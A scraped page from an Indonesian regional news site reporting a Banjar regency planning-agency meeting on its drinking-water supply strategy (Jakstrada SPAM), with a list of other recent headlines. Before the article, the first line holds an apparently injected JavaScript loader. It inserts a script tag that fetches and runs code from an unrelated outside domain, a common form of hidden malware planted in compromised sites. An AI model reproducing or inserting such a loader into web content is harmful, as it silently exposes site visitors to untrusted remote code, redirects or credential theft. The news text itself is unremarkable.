(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bappedalitbang Banjar

Bappedalitbang Banjar Gelar Rakor Jakstrada SPAM


KANALKALIMANTAN.COM, MARTAPURA – Bidang Infrastruktur dan Kewilayahan Bappedalitbang Kabupaten Banjar melaksanakan Rapat Koordinasi Persiapan Penyusunan Kebijakan Strategi Daerah (Jakstrada) SPAM Kabupaten Banjar Tahun 2023, Senin (13/2/2023)  di Aula Bauntung Bappedalitbang Kabupaten Banjar.

Jakstrada SPAM merupakan Kebijakan Strategis Daerah dalam Sistem Penyediaan Air Minum. Jakstrada SPAM adalah representasi dari RPJMN dan RPJMD. Penyediaan air minum merupakan urusan wajib bagi Pemerintah, baik Pusat, Daerah, maupun Kabupaten/Kota karena menyangkut prasarana dasar, sehingga perlu diprioritaskan pelaksanaannya dan berpedoman kepada standar pelayanan minimal yang ditetapkan oleh Pemerintah Pusat.

Sebagai alat pengatur dalam penyelenggaraan SPAM dengan telah ditetapkannya Undang Undang No 11/1974 tentang pengairan yang diturunkan dengan Peraturan Pemerintah No 122 Tahun 2015 tentang Sistem Penyediaan Air Minum, yang bertujuan untuk tersedianya pelayanan air minum untuk memenuhi “Hak Rakyat Atas Air”.

Guna mencapai tujuan Pemerintah Kabupaten Banjar dalam Penyelenggaraan SPAM dan dalam upaya mewujudkan kesejahteraan masyarakat dengan menjamin kebutuhan pokok air minum yang memenuhi syarat kualitas, kuantitas dan keterjangkauan maka perlu adanya kebijakan dan strategi penyelenggaraan (Jakstrada SPAM) Kabupaten Banjar yang disepakati oleh pemangku kepentingan dalam penyelenggaraan SPAM yang berkualitas.

 

Baca juga: Saidi Mansyur Resmikan LPM Gapoktan Tunas Harapan

Kabid Infrastruktur Kewilayahan, Herlina Maulidah, didampingi Muhamad Haris, Kasubbid Infrastruktur Bappedalitbang Kabupaten Banjar, menyampaikan, bahwa Jakstrada SPAM Provinsi sebagaimana dimaksud belum disusun sesuai dengan KSNP SPAM, maka substansi rancangan Jakstrada SPAM Kabupaten/Kota perlu dikonsultasikan kepada Direktur Jenderal Cipta Karya.

Diperlukan pengawasan dan pengontrolan dari Pemerintah Daerah bagi swasta yang membuat sistem air minum sendiri serta perlu melibatkan Pemerintah Provinsi dan PT. Air Minum Intan Banjar dalam hal rekomendasi baik pengeboran sumur bor dan system pengelolaan air minum

Dari Dinas Kesehatan Kabupaten Banjar menambahkan perlunya memuat kebijakan terkait Pola Hidup Bersih dan Sehat didalam Dokumen Jakstrada agar nantinya perilaku masyarakat di Kabupaten Banjar dapat berubah dari sektor kesehatan

Kegiatan ini juga dihadiri perwakilan Dinas PUPRP, Dinas Kesehatan, Dinas Pemberdayaan Masyarakat dan Desa Kabupaten Banjar, dan PT Air Minum Intan Banjar. (kanalkalimantan.com/bappedalitbangbanjar)

Editor: Dhani


Al Ghifari

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

6 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

8 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

8 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

13 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

14 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.